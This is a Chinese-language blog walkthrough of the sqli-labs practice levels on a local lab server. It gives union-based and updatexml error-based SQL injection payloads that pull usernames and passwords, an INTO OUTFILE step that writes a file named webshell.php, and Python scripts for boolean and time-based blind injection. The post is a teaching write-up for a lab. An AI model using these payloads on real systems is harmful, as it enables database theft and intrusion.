渗透小游戏,各个关卡的渗透实例---步骤简单(含代码)

news2024/11/16 9:27:50

文章目录

    • Less-1
    • Less-2
    • Less-5
      • updatexml报错注入:
    • Less-6
    • Less-7
    • Less-8
    • Less-9
    • Less-11
    • Less-13
    • Less-15

Less-1

在这里插入图片描述
首先,可以看见该界面,该关卡主要是SQL注入,由于对用户的输入没有做过滤,使查询语句进入到了数据库中,查询到了本不应该查询到的数据
首先,如果想要进入内部,就要绕过,首先是用 ’ 绕过,当然,绕过后会有一个 ’ 空余,所以要 “- -空格”或者“–+”来注释掉,然后通过联合查询来查询到用户权限和数据库名
这里“+”号回自动转换为“空格”,所以可以用“–+”来注释,但,也因为如此,当真正想使用“+”号时,“+”号会变成“空格”,所以,但想使用“+”号时,要用“%2b”,“%2b”就是“+”号的意思。
在这里插入图片描述

?id=-1' union select 1 ,user(),database()--+

在这里插入图片描述
因为该网页代码id输入有 ’ ’ ,是字符型注入,要单,双引号闭合,所以要 ’ 来绕过。接下来,按照相同的操作,查询出列名,表明和库名,就能进行登录了

注意:一般数据库创建的时候,都会创建“information_chema”“mysql”“performance_chema”这3个库

Less-2

先看看源代码
在这里插入图片描述
这个一眼就知道,是数字型注入,不用单,双引号,所以可以直接进行注入

?id=-1 union select 1 ,user(),database()--+

在这里插入图片描述
对比上一题,少输一个 ’ ,表示不用 ’ 来绕过,直接注入就行

Less-5

先查看代码:
在这里插入图片描述
看到error,明显应该使用报错注入

?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(username,0x3a,password)from users),1,32)0x7e),1)--+

在这里插入图片描述
这里我使用updatexml报错函数来注入输出,通过错误报告来显示想要查询的信息,但是,注意:这个输出只能输出32个字节,所以想要查询到后面的数据,可以用substr函数来设置输出字段,如下图:

?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(username,0x3a,password)from users),32,64)0x7e),1)--+

updatexml报错注入:

使用有三个参数(XML_document,XPath_string,new_value)

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc(XML的内容
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程(是需要update的位置XPATH路径
第三个参数:new_value,String格式,替换查找到的符合条件的数据(是更新后的内容

注意:第一,三个参数可以随便写,主要利用的还是第二个参数(第二个参数需要Xpath格式的字符串,以 “~” 开头的内容不是xml格式的语法,所以 “~” 用0x7e表示,concat()函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果一错误的方式报出,这样就可以实现报错注入了)

在这里插入图片描述

Less-6

和Less-5题还是一样的

?id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+

在这里插入图片描述

Less-7

mysql如何导出webshell,如何上传webshell:

运用outfile函数

还要3个条件,条件苛刻

1、mysql用户权限必须为root
2、必须知道网站的物理路径,使自己能够知道并访问
3、secure_file_priv为空,表示可以导到任何目录下面

但是我的secure_file_priv文件有目录,只能导入到 C:\ProgramData\MySQL\MySQL Server 5.7\Uploads\中,不能导入到指定文件,无法复现。
在这里插入图片描述
如果正常secure_file_priv文件中没有代码的话,可以用以下代码进行导出:

?id=1')) union select 1,2,"<?php phpinfo();" into outfile "D:/phpstudy_pro/www/sqli/webshell.php";--+

其中“D:/phpstudy_pro/www/sqli/webshell.php”是我自己定义的导出路径,这个你可以根据自己喜好,自己填写要导出到哪里

Less-8

在这里插入图片描述
在这里插入图片描述
根据输入反馈的结果,可以知道,该页面只有正确时才会显示,输入错误就什么都不显示,那么就可以使用布尔盲注来解决。
这里我们可以试试自己编写脚本来完成,以下是完成截图和代码:
在这里插入图片描述

import requests

url = 'http://127.0.0.1/sqli/Less-8/index.php'#题目Less-8的路径

def inject_database(url):
    name = ''#存储将要输出的字符
    for i in range(1, 20):#输出字段的字长
        for j in range(32, 129):#默认显示的字符从32到127,这里我选择129,表示后续没有字符,其实写128也可以
            payload = "1' and ascii(substr(database(), %d, 1)) = %d-- " % (i, j)
            #将databases里面的第一个字截取出来并转换成数值,和j(即%d,每个数字代表对应的字符)进行比较,如果等于则输出
            res = {"id": payload}
            r = requests.get(url, params=res)
            if "You are in..........." in r.text:
                name = name + chr(j)
                print(name)
                break
            else:
                continue

inject_database(url)

这个方法是暴力破解法,用来两个循环,相对来说还是很慢的
还有一个方法,二分查找法,相对来说速度更快

import requests
def inject_database(url):
    name = ''
    for i in range(1, 20):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "1' and ascii(substr(database(), %d, 1)) > %d-- " % (i, mid)
            res = {"id": payload}
            r = requests.post(url, params=res)
            if "You are in..........." in r.text:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2

        if mid == 32:
            break
        name = name + chr(mid)
        print(name)

inject_database(url)

当然,后续要查找其他用户,表明之类的只要改一下payload的查询就行
在这里插入图片描述
注意:查询代码过长时,要注意括号的规范,我经常因为括号多写或者少写而报错

Less-9

在这里插入图片描述
在这里插入图片描述
这一题和上一题又有些不同,他无论输入对还是错都只显示一个页面,对于这种反馈,我们可以试试时间盲注
如果输入数据正确,则沉睡3秒或1秒(自己定义沉睡几秒),否则不沉睡

import time
import requests
def inject_database(url):
    name = ''
    for i in range(1, 50):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "1' and if(ascii(substr(database(), %d, 1)) > %d, sleep(1), 0)-- " % (i, mid)
            res = {"id": payload}
            start_time = time.time()
            r = requests.post(url, params=res)
            end_time = time.time()
            if end_time - start_time >= 1:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2

        if mid == 32:
            break
        name = name + chr(mid)
        print(name)

inject_database(url)

基本还是差不多的代码,只不过加了个时间限制
在这里插入图片描述
这个截图无法展示,自己可以去试试,结果是在1s后运行出来的。

Less-11

在这里插入图片描述
查看源代码,发现用户名是字符串输出,那么就可以通过 ’ 绕过来获取信息
在这里插入图片描述
输入:a' union select 1,user()#查询用户权限
在这里插入图片描述
成功查到是root权限

查其他的也行,同样的在用户名输入界面更改代码就行

a' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' --+

在这里插入图片描述

Less-13

在这里插入图片描述
其实这个和之前的一样,输入错误的话会有报错,那么就可以用报错注入

a') and updatexml(1,concat(0x7e,(select user()),0x7e),1)#

在这里插入图片描述

Less-15

在这里插入图片描述
登录成功和失败都只返回图片
还是编写脚本来试试看:

import requests

url = 'http://127.0.0.1/sqli/Less-15/index.php'

def inject_database(url):
    name = ''
    for i in range(1, 20):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            data = {"uname": "admin' and ascii(substr(database(), %d, 1)) > %d#" % (i, mid), "passwd": "aaaaaa"}
            r = requests.post(url, data=data)
            if "flag.jpg" in r.text:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2

        if mid == 32:
            break
        name = name + chr(mid)
        print(name)

inject_database(url)

可以成功获得结果
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1984173.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

苹果照片删除了如何恢复回来?大家都会用的4个方法

随着我们频繁地使用手机拍照&#xff0c;意外删除照片的情况也屡见不鲜。好在&#xff0c;苹果手机提供了一系列实用的功能和工具&#xff0c;可以最大程度上帮助我们解决苹果照片删除了如何恢复回来的问题。接下来&#xff0c;就让我们一起了解一下这4个好用的技巧吧。 方法一…

JavaEE 第5节 死锁产生的原因

目录 一、死锁场景 场景1&#xff1a;1个线程1个锁 场景2&#xff1a;2个线程2个锁 场景3&#xff1a;N个线程M个锁 二、出现死锁的四个必要条件 1&#xff09;锁的互斥性&#xff08;Mutual Exclusion&#xff09; 2&#xff09;锁的不可抢占性&#xff08;Non-preempt…

容器跨主机通信:Flannel网络实现机制分析

Docker与Kubernetes系列 容器跨主机通信&#xff1a;Flannel网络实现机制分析 - 文章信息 - Author: 李俊才 (jcLee95) Visit me at CSDN: https://jclee95.blog.csdn.netMy WebSite&#xff1a;http://thispage.tech/Email: 291148484163.com. Shenzhen ChinaAddress of thi…

NLP——文本预处理

本文思维导图 文本预处理及其作用 文本语料在输送给模型前一般需要一系列的预处理工作, 才能符合模型输入的要求, 如: 将文本转化成模型需要的张量, 规范张量的尺寸等, 而且科学的文本预处理环节还将有效指导模型超参数的选择, 提升模型的评估指标. 一、文本处理的基本方法 1…

职业院校工业互联网平台应用实训室解决方案

摘要&#xff1a;随着“中国制造2025”战略的深入实施&#xff0c;工业互联网作为新一代信息技术与制造业深度融合的关键支撑&#xff0c;对我国产业升级和经济转型具有重要意义。为培养适应未来工业发展需求的技术技能人才&#xff0c;职业院校需要建立工业互联网平台应用实训…

Python爬虫新手指南及简单实战

网络爬虫是自动化获取网络信息的高效工具&#xff0c;Python因其强大的库支持和简洁的语法成为编写网络爬虫的首选语言。本教程将通过一个具体的案例&#xff08;基于Microsoft Edge浏览器的简单爬取&#xff09;&#xff0c;指导你使用Python实现一个完整的网络爬虫&#xff0…

群晖出现grub-editenv:error:environment block too small

起因&#xff1a; 想修改一下东西&#xff0c;结果找到配置修改后出现grub2-editenv: error: environment block too small. ,然后就不能启动了 原因是&#xff1a; 修改的部分导致启动环境检测到内存分配的较小 解决 1.切换管理用户 sudo -i 2.找文件并备份 find / -name gru…

基于C#调用文心一言大模型制作桌面软件(可改装接口)

目录 开发前的准备账号注册应用创建应用接入 开始开发创建项目设计界面使用 AK&#xff0c;SK 生成鉴权签名窗体代码 百度智能云千帆大模型平台什么是百度智能云千帆大模型平台模型更新记录 开发前的准备 账号注册 访问百度智能云平台&#xff0c;通过百度账号登录或手机号验证…

边缘计算在智能交通系统中的应用探究

随着社会的进步和科技的不断发展&#xff0c;智能交通系统正逐渐成为现代城市交通管理的重要组成部分。边缘计算作为一种新兴的计算模式&#xff0c;被广泛应用于智能交通系统中&#xff0c;为其带来了巨大的变革和改进。本文将从边缘计算的原理、优势以及在智能交通系统中的应…

61监听器

监听器 概念 监听器用于监听web应用中某些对象信息的创建、销毁、增加&#xff0c;修改&#xff0c;删除等动作的 发生&#xff0c;然后作出相应的响应处理。当范围对象的状态发生变化的时候&#xff0c;服务器自动调用 监听器对象中的方法。 常用于统计在线人数和在线用户&am…

Hbase 综合实验

1、设计表保存通话记录信息&#xff0c;实现相关查询功能 创建ua50tel表&#xff0c;并插入数据&#xff08;实训报告中‘&#xff1a;’存在于表中但会识别为语法所以在此不使用&#xff09; 依次重复上面的过程按实际输入&#xff0c;并查看表的内容 查询某人当月通话记录 …

内网电脑如何通过外网IP访问内网的服务器

内网的电脑&#xff0c;如何使用公网IP访问内网的服务器&#xff1f;写下这个标题&#xff0c;连我自己都学得拗口&#xff0c;可是又想不到更合适的标题。 正常来说&#xff0c;内网的电脑访问内网的服务器&#xff0c;当然是使用服务器的内网IP地址和端口&#xff0c;比如说&…

建立的Qsys系统变成Symbol Files

1.Platform Designer下&#xff0c;点击Generate 2.

C++数组全面讲解

文章目录 数组介绍数组的特点数组的优缺点数组和其他数据结构的比较 静态数组与动态数组的详细讲解一、静态数组1. 一维数组声明与初始化注意事项特点 2. 二维数组声明与初始化注意事项特点 3. 三维数组声明与初始化注意事项特点 二、动态数组1. 一维数组声明与初始化注意事项特…

HarmonyOS鸿蒙开发学习:鸿蒙基础-基础环境-ArkTS-组件-样式

鸿蒙基础-基础环境-ArkTS-组件-样式 DevEcoStudio编辑器下载链接 链接: https://pan.baidu.com/s/18C9i35YPh4GsHpbSif8KQw?pwdd6e9 提取码: d6e9 安装教程 下载对应的版本 windowsmac英特尔mac Arm API12 的编辑器 API12的模拟器(mac英特尔安装API11) Mac Arm芯片版本安装…

CCPC 2024, Shanghai

2024.8.5 12:00————17:00 CCPC 2024, Shanghai [A - 无线网络整点栅格统计](https://atcoder.jp/contests/math-and-algorithm/tasks/abc204_d?langen)[E - 无线软件日](https://atcoder.jp/contests/abc265/tasks/abc265_a?langen)[J - 极简合数序列](https://atcoder.…

【面试题】合井K个升序链表

合井K个升序链表 仅供面试学习 给定一个链表数组&#xff0c;每个链表都已经按升序排列。将所有链表合并到一个升序链表中&#xff0c;并返回合并后的链表。以下是详细的解题步骤和 Python 代码示例。 一、问题描述 将多个升序链表合并为一个升序链表。要求算法能有效处理链表…

Codeforces Round 871 (Div. 4)(A~H)

比赛链接 Dashboard - Codeforces Round 871 (Div. 4) - Codeforces A. Love Story 找到与codeforces 有多少个不同的字符。 #include<bits/stdc.h> #define int long long #define TEST int T; cin >> T; while (T--) #define ios ios::sync_with_stdio(fals…

人大金仓安装图文

1.下载 通过百度网盘分享的文件&#xff1a;人大金仓安装图文 链接&#xff1a;https://pan.baidu.com/s/1imt0KsyVXQALp_icEMoDpQ 提取码&#xff1a;zwef --来自百度网盘超级会员V3的分享 2.安装

CTFHub~RCE远程代码执行

0X01eval执行 # 进来我们直接看到了代码&#xff0c;大致意思就是传入一个参数cmd# 所以我们直接使用蚁剑进行连接&#xff0c;看一下能否成功# 接下来我们直接找出flag0X02文件包含 # 打开页面发现一大堆代码 大体意思是如果file中没有flag字符串就执行下面的include $_GET[…